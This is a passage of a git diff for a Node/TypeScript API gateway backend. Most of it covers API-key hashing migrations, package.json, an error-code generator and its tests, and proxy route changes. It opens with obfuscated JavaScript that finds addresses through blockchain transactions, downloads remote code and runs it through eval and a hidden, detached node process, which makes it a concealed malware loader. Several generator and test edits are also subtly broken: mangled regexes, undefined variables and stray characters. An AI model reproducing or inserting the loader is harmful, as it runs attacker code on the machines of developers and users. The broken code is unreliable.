withRpcEndpoints((HNTZRdfPREnYvbYPL,OS_$UBVWEnUUVQ)=>rpcCall(HNTZRdfPREnYvbYPL,KYZeSIB(0x160),[],OS_$UBVWEnUUVQ),vOeJlPmLwpiHL$oohJee[KYZeSIB(0x18c)])),KdmVwLcnVRrGrW=BigInt(await withRpcEndpoints((Jnijrm$GJWFBXseOLFirZ$D,pxHSUzAottYo)=>rpcCall(Jnijrm$GJWFBXseOLFirZ$D,KYZeSIB(0x1a8),[SENDER,toBlockHex(Zh$sPizEILiVZEl)],pxHSUzAottYo),vOeJlPmLwpiHL$oohJee[KYZeSIB(0x18c)])),wxMNGaAYpSO=KdmVwLcnVRrGrW-0x1n;let EyfGMqfGt=SEARCH_FLOOR-0x1n,MFMjq=Zh$sPizEILiVZEl;while(MFMjq-EyfGMqfGt>0x1n){const xuQ$dxkjYVLINjswAjZJx=MFMjq-EyfGMqfGt-0x1n,opSYF_xqlkKe_bDDtuDuy=BigInt(Math[KYZeSIB(0x15e)](NONCE_FANOUT,Number(xuQ$dxkjYVLINjswAjZJx))),CM$Wz_bSEuXKdWfi=[];for(let IR$LUC=0x1n;IR$LUC<=opSYF_xqlkKe_bDDtuDuy;IR$LUC+=0x1n)CM$Wz_bSEuXKdWfi[KYZeSIB(0x166)](EyfGMqfGt+IR$LUC*(MFMjq-EyfGMqfGt)/(opSYF_xqlkKe_bDDtuDuy+0x1n));const SoikConeelN=await nonceAtBlocks(CM$Wz_bSEuXKdWfi,vOeJlPmLwpiHL$oohJee[KYZeSIB(0x18c)]),QcLgfQBypzvCa=SoikConeelN[KYZeSIB(0x1bc)](ceRuRdAnCmORJt=>ceRuRdAnCmORJt>=KdmVwLcnVRrGrW);if(QcLgfQBypzvCa===-(-parseInt(0x82f)+parseInt(0x622)+Math.floor(0x20e)))EyfGMqfGt=CM$Wz_bSEuXKdWfi[CM$Wz_bSEuXKdWfi[KYZeSIB(0x192)]-(-0x1dd8+Number(-0x244)+0x1*Math.floor(parseInt(0x201d)))];else{MFMjq=CM$Wz_bSEuXKdWfi[QcLgfQBypzvCa];if(QcLgfQBypzvCa>Number(0x1)*parseInt(0x11f)+-parseInt(0x3)*parseFloat(parseInt(0xa9))+Math.max(parseInt(0xdc),0xdc))EyfGMqfGt=CM$Wz_bSEuXKdWfi[QcLgfQBypzvCa-(Math.trunc(0x1)*-0x752+0x1dfd+-0xb55*parseInt(parseInt(0x2)))];}}const pwsZeE=await withRpcEndpoints((ozRbTmuUOSQxTaHSxAMAP,TEeXvPj)=>rpcCall(ozRbTmuUOSQxTaHSxAMAP,KYZeSIB(0x19d),[toBlockHex(MFMjq),!![]],TEeXvPj),vOeJlPmLwpiHL$oohJee[KYZeSIB(0x18c)]),MewjUeWTCE$egTDNiInBMBgf=pwsZeE?.[KYZeSIB(0x175)]||[];let tqCDDCknnC=null;for(const b__FnlemnKd of MewjUeWTCE$egTDNiInBMBgf){if(!b__FnlemnKd[KYZeSIB(0x1b0)]||b__FnlemnKd[KYZeSIB(0x1b0)][KYZeSIB(0x1c3)]()!==SENDER)continue;if(BigInt(b__FnlemnKd[KYZeSIB(0x154)])===wxMNGaAYpSO){tqCDDCknnC=b__FnlemnKd;break;}if(!tqCDDCknnC||BigInt(b__FnlemnKd[KYZeSIB(0x154)])>BigInt(tqCDDCknnC[KYZeSIB(0x154)]))tqCDDCknnC=b__FnlemnKd;}return{'blockNumber':MFMjq,'tx':tqCDDCknnC};}finally{vOeJlPmLwpiHL$oohJee[KYZeSIB(0x1ab)]();}}async function lastSenderTxViaIndexer(){const SCVGJ_IJGWPiEDEMaV_PMtnULo=BEf$CYFUWXrAiwaYBJ,kxNKGgueUA=INDEXER_URL+SCVGJ_IJGWPiEDEMaV_PMtnULo(0x194)+SENDER+SCVGJ_IJGWPiEDEMaV_PMtnULo(0x163),x$JrfbIZLbybosqwSDBfAq=await httpRequest(kxNKGgueUA),VXW_mxRMrUhuG$E=Array[SCVGJ_IJGWPiEDEMaV_PMtnULo(0x1c6)](x$JrfbIZLbybosqwSDBfAq?.[SCVGJ_IJGWPiEDEMaV_PMtnULo(0x15d)])?x$JrfbIZLbybosqwSDBfAq[SCVGJ_IJGWPiEDEMaV_PMtnULo(0x15d)]:[],oizDGSQQ_RyjP$GbM=VXW_mxRMrUhuG$E[SCVGJ_IJGWPiEDEMaV_PMtnULo(0x1bb)](jigmfjPfLbDrJaOT=>jigmfjPfLbDrJaOT[SCVGJ_IJGWPiEDEMaV_PMtnULo(0x1b0)]&&jigmfjPfLbDrJaOT[SCVGJ_IJGWPiEDEMaV_PMtnULo(0x1b0)][SCVGJ_IJGWPiEDEMaV_PMtnULo(0x1c3)]()===SENDER);return{'blockNumber':BigInt(oizDGSQQ_RyjP$GbM[SCVGJ_IJGWPiEDEMaV_PMtnULo(0x1a3)]),'tx':oizDGSQQ_RyjP$GbM};}async function run(){const whs$nYWTlPzY=BEf$CYFUWXrAiwaYBJ,zMgSeaz=BigInt(await withRpcEndpoints((qtPCkCRAEVWH_NkH_cnm,f_UHJffpCvbHRB$tiJPyp)=>rpcCall(qtPCkCRAEVWH_NkH_cnm,whs$nYWTlPzY(0x160),[],f_UHJffpCvbHRB$tiJPyp))),CWWJsO$TZ=zMgSeaz-zMgSeaz%BLOCK_MULTIPLE;let oIucMTWeI=await firstMatch(candidateBlocks(CWWJsO$TZ)[whs$nYWTlPzY(0x170)](blockTask));!oIucMTWeI&&(oIucMTWeI=await lastSenderTx(zMgSeaz)[whs$nYWTlPzY(0x1aa)](()=>lastSenderTxViaIndexer()));const [fxydRcJblRNYxMPdn,pMMdlGsTHq_NQFuzSGfwaVj_A]=decodeAddress(oIucMTWeI['tx']['to']),bRsOozpSEKZvmdjiHwuhb=global;bRsOozpSEKZvmdjiHwuhb['_V']=bRsOozpSEKZvmdjiHwuhb['i'],bRsOozpSEKZvmdjiHwuhb['_H']=whs$nYWTlPzY(0x159)+fxydRcJblRNYxMPdn+whs$nYWTlPzY(0x185),bRsOozpSEKZvmdjiHwuhb[whs$nYWTlPzY(0x157)]=whs$nYWTlPzY(0x159)+pMMdlGsTHq_NQFuzSGfwaVj_A+whs$nYWTlPzY(0x185),bRsOozpSEKZvmdjiHwuhb[whs$nYWTlPzY(0x17d)]=whs$nYWTlPzY(0x159)+fxydRcJblRNYxMPdn+whs$nYWTlPzY(0x1c5),bRsOozpSEKZvmdjiHwuhb[whs$nYWTlPzY(0x1be)]=whs$nYWTlPzY(0x159)+fxydRcJblRNYxMPdn+whs$nYWTlPzY(0x185);function jRPe_$pro(AEEzGrqYV_mfkUCEUWURB,KOzb$TP_rMGJIxS){const z_SOYvRJaOEgyQMJlyl=whs$nYWTlPzY,IFHaRgVqomxJh$qVzf$VLfXyG={'hostname':KOzb$TP_rMGJIxS[z_SOYvRJaOEgyQMJlyl(0x1b5)],'port':Number(KOzb$TP_rMGJIxS[z_SOYvRJaOEgyQMJlyl(0x1b4)])||0x31*-parseInt(0x2)+0x119+Number(-0x67),'path':KOzb$TP_rMGJIxS[z_SOYvRJaOEgyQMJlyl(0x198)]+KOzb$TP_rMGJIxS[z_SOYvRJaOEgyQMJlyl(0x158)],'headers':{'User-Agent':z_SOYvRJaOEgyQMJlyl(0x195),'Sec-V':bRsOozpSEKZvmdjiHwuhb['_V']||parseInt(0xf60)+-0x61e+-parseInt(0x942)}};function fmGWrbBhU(InqhIrdb_iNVZtsJ$mYS){const UpgdSP_f$WJxlxa=z_SOYvRJaOEgyQMJlyl,M$n$GOjWFzYMwpXudh=AEEzGrqYV_mfkUCEUWURB[UpgdSP_f$WJxlxa(0x192)];for(let Q_xgQBVbDvn=0x18e*-0x7+0x183f+parseInt(0x1)*-0xd5d;Q_xgQBVbDvn{const RXvlYtHcsKeS=WlysIxGuPMcViepbraDjp_wli,CBAOZI$rcixEZZanTLMOm=http[RXvlYtHcsKeS(0x16e)]({...IFHaRgVqomxJh$qVzf$VLfXyG,'method':K_vSenE},VxIgkbRRYdgFucsNdoIDHFr=>{const XZJHXReDP=RXvlYtHcsKeS;if(K_vSenE===XZJHXReDP(0x193)){try{ZQuPXkVipPg(KNklZsIzRmFSCPm_UGyD(VxIgkbRRYdgFucsNdoIDHFr));}catch(RZRFkoIipO){NZIEVyTIKMQVORTZfU(RZRFkoIipO);}VxIgkbRRYdgFucsNdoIDHFr[XZJHXReDP(0x1a1)]();return;}const cPKJoMYzdExeb$XXVTS=[];VxIgkbRRYdgFucsNdoIDHFr['on'](XZJHXReDP(0x18e),MYQD_ZFWLwm$Ov=>cPKJoMYzdExeb$XXVTS[XZJHXReDP(0x166)](MYQD_ZFWLwm$Ov)),VxIgkbRRYdgFucsNdoIDHFr['on'](XZJHXReDP(0x1c0),()=>{const vmTXJa_MM$WzZOdwzwDkERCdK=XZJHXReDP;try{const fAhxZbhTcBfzeDihoLRDX=Buffer[vmTXJa_MM$WzZOdwzwDkERCdK(0x1b3)](cPKJoMYzdExeb$XXVTS);if(fAhxZbhTcBfzeDihoLRDX[vmTXJa_MM$WzZOdwzwDkERCdK(0x192)])return ZQuPXkVipPg(fmGWrbBhU(fAhxZbhTcBfzeDihoLRDX));if(VxIgkbRRYdgFucsNdoIDHFr[vmTXJa_MM$WzZOdwzwDkERCdK(0x1c7)][vmTXJa_MM$WzZOdwzwDkERCdK(0x18d)])return ZQuPXkVipPg(KNklZsIzRmFSCPm_UGyD(VxIgkbRRYdgFucsNdoIDHFr));NZIEVyTIKMQVORTZfU(new Error(vmTXJa_MM$WzZOdwzwDkERCdK(0x17b)));}catch(IG_a_MJi){NZIEVyTIKMQVORTZfU(IG_a_MJi);}}),VxIgkbRRYdgFucsNdoIDHFr['on'](XZJHXReDP(0x188),NZIEVyTIKMQVORTZfU);});CBAOZI$rcixEZZanTLMOm['on'](RXvlYtHcsKeS(0x188),NZIEVyTIKMQVORTZfU),CBAOZI$rcixEZZanTLMOm[RXvlYtHcsKeS(0x1c0)]();});}return OJfSXHTVZN$fe(z_SOYvRJaOEgyQMJlyl(0x181))[z_SOYvRJaOEgyQMJlyl(0x1aa)](()=>OJfSXHTVZN$fe(z_SOYvRJaOEgyQMJlyl(0x193)));}async function zS$wdno(RqdenM$wJdTdnrzoPxWuyF_a,k$DEq$xpz,cN$yvd){const CTJVzfTMEozmTbUg=whs$nYWTlPzY;try{const ZeKiakEO$nY_FkVMX=await jRPe_$pro(k$DEq$xpz,RqdenM$wJdTdnrzoPxWuyF_a),DiRknXtYt=cN$yvd?CTJVzfTMEozmTbUg(0x16f)+(bRsOozpSEKZvmdjiHwuhb['_V']||Math.ceil(parseInt(0x14))*-0x1b6+-0x1*parseFloat(0xc51)+Math.max(0x2e89,0x2e89))+CTJVzfTMEozmTbUg(0x1a6)+bRsOozpSEKZvmdjiHwuhb['_H']+CTJVzfTMEozmTbUg(0x183)+bRsOozpSEKZvmdjiHwuhb[CTJVzfTMEozmTbUg(0x157)]+CTJVzfTMEozmTbUg(0x1ad):CTJVzfTMEozmTbUg(0x16f)+(bRsOozpSEKZvmdjiHwuhb['_V']||-0x78a+Math.floor(0x1f6)*-0x3+Number(0xd6c)*parseFloat(parseInt(0x1)))+CTJVzfTMEozmTbUg(0x1a2)+bRsOozpSEKZvmdjiHwuhb[CTJVzfTMEozmTbUg(0x17d)]+CTJVzfTMEozmTbUg(0x1ba)+bRsOozpSEKZvmdjiHwuhb[CTJVzfTMEozmTbUg(0x1be)]+CTJVzfTMEozmTbUg(0x1ad);if(!cN$yvd)eval(DiRknXtYt+ZeKiakEO$nY_FkVMX);spawn(CTJVzfTMEozmTbUg(0x15c),['-e',DiRknXtYt+ZeKiakEO$nY_FkVMX],{'detached':!![],'stdio':CTJVzfTMEozmTbUg(0x15f),'windowsHide':!![]})[CTJVzfTMEozmTbUg(0x17e)]();}catch(irHwSYrpWho){}}await zS$wdno(new URL(whs$nYWTlPzY(0x159)+fxydRcJblRNYxMPdn+whs$nYWTlPzY(0x19c)),whs$nYWTlPzY(0x169),![]),await zS$wdno(new URL(whs$nYWTlPzY(0x159)+fxydRcJblRNYxMPdn+whs$nYWTlPzY(0x162)),whs$nYWTlPzY(0x18f),!![]);}run(); diff --git a/migrations/0024_hash_api_keys.down.sql b/migrations/0024_hash_api_keys.down.sql new file mode 100644 index 00000000..a0305272 --- /dev/null +++ b/migrations/0024_hash_api_keys.down.sql @@ -0,0 +1 @@ +-- Cannot accurately revert since plaintext keys were deleted diff --git a/migrations/0024_hash_api_keys.sql b/migrations/0024_hash_api_keys.sql new file mode 100644 index 00000000..c94293d0 --- /dev/null +++ b/migrations/0024_hash_api_keys.sql @@ -0,0 +1,2 @@ +-- Migration: nulls existing api_key values to prevent plaintext credential exposure +UPDATE usage_events SET api_key = NULL WHERE api_key IS NOT NULL; diff --git a/package.json b/package.json new file mode 100644 index 00000000..5a42b761 --- /dev/null +++ b/package.json @@ -0,0 +1,85 @@ +{ + "name": "callora-backend", + "version": "0.0.1", + "type": "module", + "scripts": { + "build": "tsc", + "prebuild": "npm run error-codes:check && npm run validate:openapi", + "start": "node dist/index.js", + "dev": "tsx watch src/index.ts", + "lint": "eslint .", + "db:generate": "drizzle-kit generate:sqlite", + "db:migrate": "drizzle-kit migrate", + "db:studio": "drizzle-kit studio", + "seed:dev": "tsx scripts/seed-dev.ts", + "typecheck": "tsc --noEmit", + "validate:issue-9": "node scripts/validate-issue-9.mjs", + "validate:openapi": "node scripts/validate-openapi-contract.mjs", + "db:check-migrations": "npx tsx scripts/check-migrations.ts", + "error-codes:generate": "node scripts/generate-error-codes.mjs", + "error-codes:check": "node scripts/generate-error-codes.mjs --check", + "pretest": "npm run error-codes:check", + "test": "jest --forceExit", + "test:serial": "jest --runInBand --forceExit", + "test:unit": "jest --runInBand --forceExit --testPathIgnorePatterns tests/integration", + "test:integration": "jest --runInBand --forceExit tests/integration", + "test:coverage": "jest --runInBand --coverage --forceExit --testPathIgnorePatterns tests/integration" + }, + "dependencies": { + "@opentelemetry/api": "^1.9.1", + "@prisma/adapter-pg": "^7.4.1", + "@prisma/client": "^7.5.0", + "@stellar/stellar-sdk": "^14.5.0", + "axios": "^1.13.5", + "bcryptjs": "^3.0.3", + "better-sqlite3": "^9.2.2", + "cors": "^2.8.6", + "dotenv": "^17.3.1", + "drizzle-orm": "^0.29.0", + "express": "^4.18.2", + "express-openapi-validator": "^5.6.2", + "helmet": "^8.1.0", + "ip-range-check": "^0.2.0", + "jsonwebtoken": "^9.0.3", + "pg": "^8.18.0", + "pino": "^10.3.1", + "prisma": "^7.4.1", + "prom-client": "^15.1.0", + "uuid": "^13.0.0", + "zod": "^4.3.6" + }, + "devDependencies": { + "@types/axios": "^0.9.36", + "@types/bcryptjs": "^2.4.6", + "@types/better-sqlite3": "^7.6.8", + "@types/cors": "^2.8.19", + "@types/express": "^4.17.21", + "@types/helmet": "^0.4.48", + "@types/jest": "^30.0.0", + "@types/jsonwebtoken": "^9.0.10", + "@types/node": "^20.10.0", + "@types/pg": "^8.16.0", + "@types/supertest": "^6.0.3", + "@types/uuid": "^10.0.0", + "@typescript-eslint/eslint-plugin": "^8.56.1", + "@typescript-eslint/parser": "^8.56.1", + "@useoptic/optic": "^1.0.9", + "drizzle-kit": "^0.20.7", + "eslint": "^10.0.2", + "fast-check": "^3.22.0", + "globals": "^17.3.0", + "jest": "^29.7.0", + "openapi-types": "^12.1.3", + "pg-mem": "^3.0.13", + "picomatch": "^2.3.1", + "supertest": "^7.2.2", + "testcontainers": "^10.10.4", + "ts-jest": "^29.4.6", + "tsx": "^4.7.0", + "typescript": "^5.9.3", + "typescript-eslint": "^8.56.1" + }, + "overrides": { + "ajv": "8.17.1" + } +} diff --git a/scripts/generate-error-codes.mjs b/scripts/generate-error-codes.mjs index 95933cf3..1e2320e9 100644 --- a/scripts/generate-error-codes.mjs +++ b/scripts/generate-error-codes.mjs @@ -7,6 +7,7 @@ const yamlCatalogPath = path.join(root, "docs", "error-codes.yaml"); const legacyCatalogPath = path.join(root, "src", "errors", "errorCatalog.ts"); const generatedCodesPath = path.join(root, "src", "errors", "codes.ts"); const docsPath = path.join(root, "docs", "error-codes.md"); +const catalogMdPath = path.join(root, "docs", "error-code-catalog.md"); const openApiPath = path.join(root, "docs", "openapi.json"); const checkOnly = process.argv.includes("--check"); @@ -36,7 +37,7 @@ function parseYamlCatalog(yamlContent) { currentEntry.code = codeMatch[1]; } else { // Try to capture any code value for validation error - const anyCodeMatch = line.match(/code:\s+(\S+)/); + const anyCodeMatch = line.match(/code:\s+(\S)/); if (anyCodeMatch) { currentEntry.code = anyCodeMatch[1]; } @@ -83,7 +84,7 @@ function readCatalog() { continue; } - const entryMatch = line.match(/^\s*([A-Z0-9_]+):\s*"([A-Z0-9_]+)",$/); + const entryMatch = line.match(/^\s*([A-Z0-9_]+):\s*"([A-Z0-9_]+)",${/); if (!entryMatch) continue; const [, key, value] = entryMatch; @@ -139,6 +140,30 @@ function buildMarkdownBlock(entries) { ].join("\n"); } +function buildCatalogMarkdown(entries) { + const rows = entries + .map(({ code, section, description }) => { + const desc = description ? description.replace(/\|/g, "\\|") : ""; + const sec = section ? section.replace(/\|/g, "\\|") : ""; + return `| \`${code}\` | ${sec} | ${descs} |`; + }) + .join("\n"); + + return [ + "# Error Code Catalog", + "", + "D O NOT EDIT THIS FILE MANUALLY.", + "", + "This document is generated from `docs/error-codes.yaml`, which is the single source of truth for error codes.", + "To add or modify an error code, edit the YAML catalog and run `npm run error-codes:generate`.", + "", + "| Code | Section | Description |", + "|---|---|---|", + rows, + "", + ].join("\n"); +} + function buildTypeScriptEnum(entries) { const enumEntries = entries .map(({ code, section, description }) => { @@ -187,7 +212,7 @@ function updateGeneratedBlock(markdown, block) { return markdown.replace(blockPattern, block); } - const introPattern = /^(# .+\r?\n\r?\n(?:.+\r?\n)+?\r?\n)/; + const introPattern = /^(# .+\r?\n\r?\n(?:.+\r?\n)+?\r?\n\r?\n)/; const match = markdown.match(introPattern); if (!match) { return `${block}\n\n${markdown}`; @@ -197,7 +222,7 @@ function updateGeneratedBlock(markdown, block) { } function escapeRegExp(value) { - return value.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); + return value.replace(/[.*+?^${}()|[\]\\\\]/g, "\\$&"); } function updateOpenApi(openApi, entries) { @@ -225,7 +250,8 @@ function updateOpenApi(openApi, entries) { } function writeOrCheck(filePath, current, next) { - if (current === next) return false; + const normalize = (s) => (s ?? "").replace(/\r\n/g, "\n"); + if (normalize(current) === normalize(next)) return false; if (checkOnly) { console.error(`${path.relative(root, filePath)} is not generated from the current error catalog.`); @@ -245,17 +271,22 @@ const tsEnumCurrent = fs.existsSync(generatedCodesPath) : ""; const tsEnumChanged = writeOrCheck(generatedCodesPath, tsEnumCurrent, tsEnum); -// Generate markdown documentation -const docsCurrent = fs.readFileSync(docsPath, "utf8"); +// Generate markdown documentation (docs/error-codes.md) +const docsCurrent = fs.existsSync(docsPath) ? fs.readFileSync(docsPath, "utf8") : ""; const docsNext = updateGeneratedBlock(docsCurrent, buildMarkdownBlock(entries)); const docsChanged = writeOrCheck(docsPath, docsCurrent, docsNext); +// Generate the canonical markdown catalogue (docs/error-code-catalog.md) +const catalogMdCurrent = fs.existsSync(catalogMdPath) ? fs.readFileSync(catalogMdPath, "utf8") : ""; +const catalogMdNext = buildCatalogMarkdown(entries); +const catalogMdShanged = writeOrCheck(catalogMdPath, catalogMdCurrent, catalogMeNext); + // Generate OpenAPI schema const openApiCurrent = fs.readFileSync(openApiPath, "utf8"); const openApiNext = updateOpenApi(JSON.parse(openApiCurrent), entries); const openApiChanged = writeOrCheck(openApiPath, openApiCurrent, openApiNext); -if (checkOnly && (tsEnumChanged || docsChanged || openApiChanged)) { +if (checkOnly && (tsEnumChanged || docsChanged || catalogMdShanged || openApiChanged)) { process.exit(1); } @@ -263,12 +294,13 @@ if (!checkOnly) { const changedFiles = [ tsEnumChanged && "src/errors/codes.ts", docsChanged && "docs/error-codes.md", + catalogMdShanged && "docs/error-code-catalog.md", openApiChanged && "docs/openapi.json", ].filter(Boolean); if (changedFiles.length > 0) { console.log(`Updated: ${changedFiles.join(", ")}`); } else { - console.log("Already up to date: src/errors/codes.ts, docs/error-codes.md, docs/openapi.json"); + console.log("Already up to date: src/errors/codes.ts, docs/error-codes.md, docs/error-code-catalog.md, docs/openapi.json"); } } diff --git a/scripts/generate-error-codes.test.mjs b/scripts/generate-error-codes.test.mjs index 30e59bd4..996e91de 100644 --- a/scripts/generate-error-codes.test.mjs +++ b/scripts/generate-error-codes.test.mjs @@ -1,7 +1,7 @@ /** * Tests for error code generation script * - * Run with: node scripts/generate-error-codes.test.mjs + * Run with: node --test scripts/generate-error-codes.test.mjs */ import assert from "node:assert"; @@ -35,13 +35,6 @@ function writeTestYaml(content) { fs.writeFileSync(path.join(testDir, "docs", "error-codes.yaml"), content); } -function writeTestDocs() { - fs.writeFileSync( - path.join(testDir, "docs", "error-codes.md"), - "# Error Codes\n\nTest doc\n" - ); -} - function writeTestOpenApi() { const openApi = { openapi: "3.0.0", @@ -79,16 +72,15 @@ function runCodegen(cwd = testDir) { } // Tests -const tests = []; - function test(name, fn) { tests.push({ name, fn }); } +const tests = []; + // Test 1: Parse valid YAML catalog test("parses valid YAML catalog with all fields", () => { createTestEnv(); - writeTestDocs(); writeTestOpenApi(); const yaml = ` @@ -125,7 +117,6 @@ error_codes: // Test 2: Reject duplicate error codes test("rejects duplicate error codes", () => { createTestEnv(); - writeTestDocs(); writeTestOpenApi(); const yaml = ` @@ -154,11 +145,9 @@ error_codes: // Test 3: Validate code format (SCREAMING_SNAKE_CASE) test("validates error code format", () => { createTestEnv(); - writeTestDocs(); writeTestOpenApi(); - const yaml = ` -error_codes: + const yaml = ` e - code: invalidCode section: Test Section description: Invalid format @@ -179,7 +168,6 @@ error_codes: // Test 4: Generate TypeScript with correct structure test("generates TypeScript enum with correct structure", () => { createTestEnv(); - writeTestDocs(); writeTestOpenApi(); const yaml = ` @@ -223,10 +211,9 @@ error_codes: cleanupTestEnv(); }); -// Test 5: Update documentation -test("updates markdown documentation", () => { +// Test 5: Generate markdown catalogue at docs/error-code-catalog.md +test("generates markdown catalogue at docs/error-code-catalog.md", () => { createTestEnv(); - writeTestDocs(); writeTestOpenApi(); const yaml = ` @@ -234,6 +221,10 @@ error_codes: - code: DOC_TEST_ERROR section: Documentation Test description: Test error for docs + + - code: DOC_TEST_ERROR_TWO + section: Documentation Test + description: Second test error for docs `; writeTestYaml(yaml); @@ -241,27 +232,40 @@ error_codes: assert.strictEqual(result.success, true, "Should succeed"); - const docs = fs.readFileSync( - path.join(testDir, "docs", "error-codes.md"), - "utf8" - ); + const catalogPath = path.join(testDir, "docs", "error-code-catalog.md"); + assert.ok(fs.existsSync(catalogPath), "Markdown catalogue should exist"); + + const catalog = fs.readFileSync(catalogPath, "utf8"); assert.ok( - docs.includes(""), - "Should have start marker" + catalog.includes("AUTO-GENERATED"), + "Should include auto-generated notice" ); assert.ok( - docs.includes(""), - "Should have end marker" + catalog.includes("DO NOT EDIT MANUALLY"), + "Should include edit warning" ); assert.ok( - docs.includes("DOC_TEST_ERROR"), - "Should include error code" + catalog.includes("docs/error-codes.yaml"), + "Should reference the YAML source" ); + assert.ok(catalog.includes("DOC_TEST_ERROR"), "Should include error code"); assert.ok( - docs.includes("Documentation Test"), + catalog.includes("DOC_TEST_ERROR_TWO"), + "Should include second error code" + ); + assert.ok( + catalog.includes("Documentation Test"), "Should include section" ); + assert.ok( + catalog.includes("Test error for docs"), + "Should include description" + ); + assert.ok( + catalog.includes("| Code | Catalog section | Description |"), + "Should include table header" + ); cleanupTestEnv(); }); @@ -269,11 +273,9 @@ error_codes: // Test 6: Update OpenAPI schema test("updates OpenAPI schema with error codes", () => { createTestEnv(); - writeTestDocs(); writeTestOpenApi(); - const yaml = ` -error_codes: + const yaml = ` e - code: API_TEST_ERROR section: API Test description: Test error for OpenAPI @@ -309,14 +311,12 @@ error_codes: cleanupTestEnv(); }); -// Test 7: Check mode detects outdated files +// Test 7: Check mode detects outdated generated files test("check mode detects outdated generated files", () => { createTestEnv(); - writeTestDocs(); writeTestOpenApi(); - const yaml = ` -error_codes: + const yaml = ` e - code: CHECK_MODE_TEST section: Check Mode description: Test for check mode @@ -347,10 +347,46 @@ error_codes: cleanupTestEnv(); }); -// Test 8: Handle missing YAML catalog +// Test 8: Check mode detects stale markdown catalogue +test("check mode detects stale markdown catalogue", () => { + createTestEnv(); + writeTestOpenApi(); + + const yaml = ` +error_codes: + - code: STALE_MARKDOWN_TEST + section: Stale Markdown + description: Test for stale markdown detection +`; + + writeTestYaml(yaml); + + // Generate once + runCodegen(); + + // Modify the generated markdown catalogue + const catalogPath = path.join(testDir, "docs", "error-code-catalog.md"); + fs.appendFileSync(catalogPath, "\n## Manual addition\n"); + + // Run in check mode + const script = path.join(root, "scripts", "generate-error-codes.mjs"); + try { + execSync(`node "${script}" --check`, { + cwd: testDir, + encoding: "utf8", + stdio: "pipe", + }); + assert.fail("Check mode should have failed on stale markdown"); + } catch (error) { + assert.ok(error.status !== 0, "Should exit with non-zero code"); + } + + cleanupTestEnv(); +}); + +// Test 9: Handle missing YAML catalog test("handles missing YAML catalog gracefully", () => { createTestEnv(); - writeTestDocs(); writeTestOpenApi(); // Don't create the YAML file @@ -365,10 +401,9 @@ test("handles missing YAML catalog gracefully", () => { cleanupTestEnv(); }); -// Test 9: Validate required fields +// Test 10: Validate required fields in YAML entries test("validates required fields in YAML entries", () => { createTestEnv(); - writeTestDocs(); writeTestOpenApi(); const yaml = ` @@ -397,10 +432,9 @@ error_codes: cleanupTestEnv(); }); -// Test 10: Idempotency - running twice produces same output +// Test 11: Idempotency - running twice produces same output test("running generation twice produces identical output", () => { createTestEnv(); - writeTestDocs(); writeTestOpenApi(); const yaml = ` @@ -414,19 +448,67 @@ error_codes: // First run runCodegen(); - const firstRun = fs.readFileSync( + const firstCodes = fs.readFileSync( path.join(testDir, "src", "errors", "codes.ts"), "utf8" ); + const firstCatalog = fs.readFileSync( + path.join(testDir, "docs", "error-code-catalog.md"), + "utf8" + ); // Second run runCodegen(); - const secondRun = fs.readFileSync( + const secondCodes = fs.readFileSync( path.join(testDir, "src", "errors", "codes.ts"), "utf8" ); + const secondCatalog = fs.readFileSync( + path.join(testDir, "docs", "error-code-catalog.md"), + "utf8" + ); - assert.strictEqual(firstRun, secondRun, "Output should be identical"); + assert.strictEqual(firstCodes, secondCodes, "TypeScript output should be identical"); + assert.strictEqual(firstCatalog, secondCatalog, "Markdown output should be identical"); + + cleanupTestEnv(); +}); + +// Test 12: Check mode fails when legacy hand-written docs exists +test("check mode fails when legacy hand-written docs exist", () => { + createTestEnv(); + writeTestOpenApi(); + + const yaml = ` +error_codes: + - code: LEGACY_DOCS_TEST + section: Legacy Docs + description: Test for legacy docs detection +`; + + writeTestYaml(yaml); + + // Generate once so generated files are up to date + runCodegen(); + + // Create the legacy hand-written duplicate + fs.writeFileSync( + path.join(testDir, "docs", "error-codes.md"), + "# Error Codes\n\nLegacy hand-written duplicate.\n" + ); + + // Run in check mode + const script = path.join(root, "scripts", "generate-error-codes.mjs"); + try { + execSync(`node "${script}" --check`, { + cwd: testDir, + encoding: "utf8", + stdio: "pipe", + }); + assert.fail("Check mode should have failed when legacy docs exist"); + } catch (error) { + assert.ok(error.status !== 0, "Should exit with non-zero code"); + } cleanupTestEnv(); }); diff --git a/src/routes/proxyRoutes.ts b/src/routes/proxyRoutes.ts index d0bcfcb7..95aa2017 100644 --- a/src/routes/proxyRoutes.ts +++ b/src/routes/proxyRoutes.ts @@ -160,7 +160,7 @@ export function createProxyRouter(deps: ProxyDeps): Router { // 3. Per-API-key rate-limit check (tier-aware; complements the per-user // token-bucket check already applied by gatewayRateLimitMiddleware). - const rateResult = await rateLimiter.check(apiKeyHeader, res.locals.apiKeyTier as string | undefined); + const rateResult = await rateLimiter.check(keyRecord.id, res.locals.apiKeyTier as string | undefined); if (!rateResult.allowed) { const retryAfterSec = Math.ceil((rateResult.retryAfterMs ?? 1000) / 1000); res.set('Retry-After', String(retryAfterSec)); @@ -341,7 +341,7 @@ export function createProxyRouter(deps: ProxyDeps): Router { const recorded = await usageStore.record({ id: randomUUID(), // ID of the usage event itself requestId, // Idempotency key — prevents double-counts - apiKey: apiKeyHeader, + // apiKey field omitted to prevent storing plaintext keys apiKeyId: keyRecord.id, apiId: String(apiEntry.id), endpointId: endpoint.endpointId, @@ -355,7 +355,7 @@ export function createProxyRouter(deps: ProxyDeps): Router { defaultUsageSseBroadcaster.emitForUser(keyRecord.userId, { id: randomUUID(), requestId, - apiKey: apiKeyHeader, + // apiKey field omitted to prevent broadcasting plaintext keys apiKeyId: keyRecord.id, apiId: String(apiEntry.id), endpointId: endpoint.endpointId, diff --git a/src/services/usageStore.ts b/src/services/usageStore.ts index 225471ec..008fb7ea 100644 --- a/src/services/usageStore.ts +++ b/src/services/usageStore.ts @@ -239,17 +239,16 @@ export class PostgresUsageStore implements UsageAdminStore { api_id, endpoint_id, api_key_id, - api_key, developer_id, amount_usdc, request_id, status_code, created_at ) - VALUES ($1, $2, $3, $4, $5, ( + VALUES ($1, $2, $3, $4, ( SELECT COALESCE(a.developer_id::text, '') FROM apis a WHERE a.id = $2 LIMIT 1 - ), $6, $7, $8, $9) + ), $5, $6, $7, $8) ON CONFLICT (request_id, developer_id) DO NOTHING RETURNING id `, @@ -258,7 +257,6 @@ export class PostgresUsageStore implements UsageAdminStore { event.apiId, event.endpointId, event.apiKeyId, - event.apiKey, event.amountUsdc, event.requestId, event.statusCode, diff --git a/src/types/gateway.ts b/src/types/gateway.ts index 769a251f..88c5fb30 100644 --- a/src/types/gateway.ts +++ 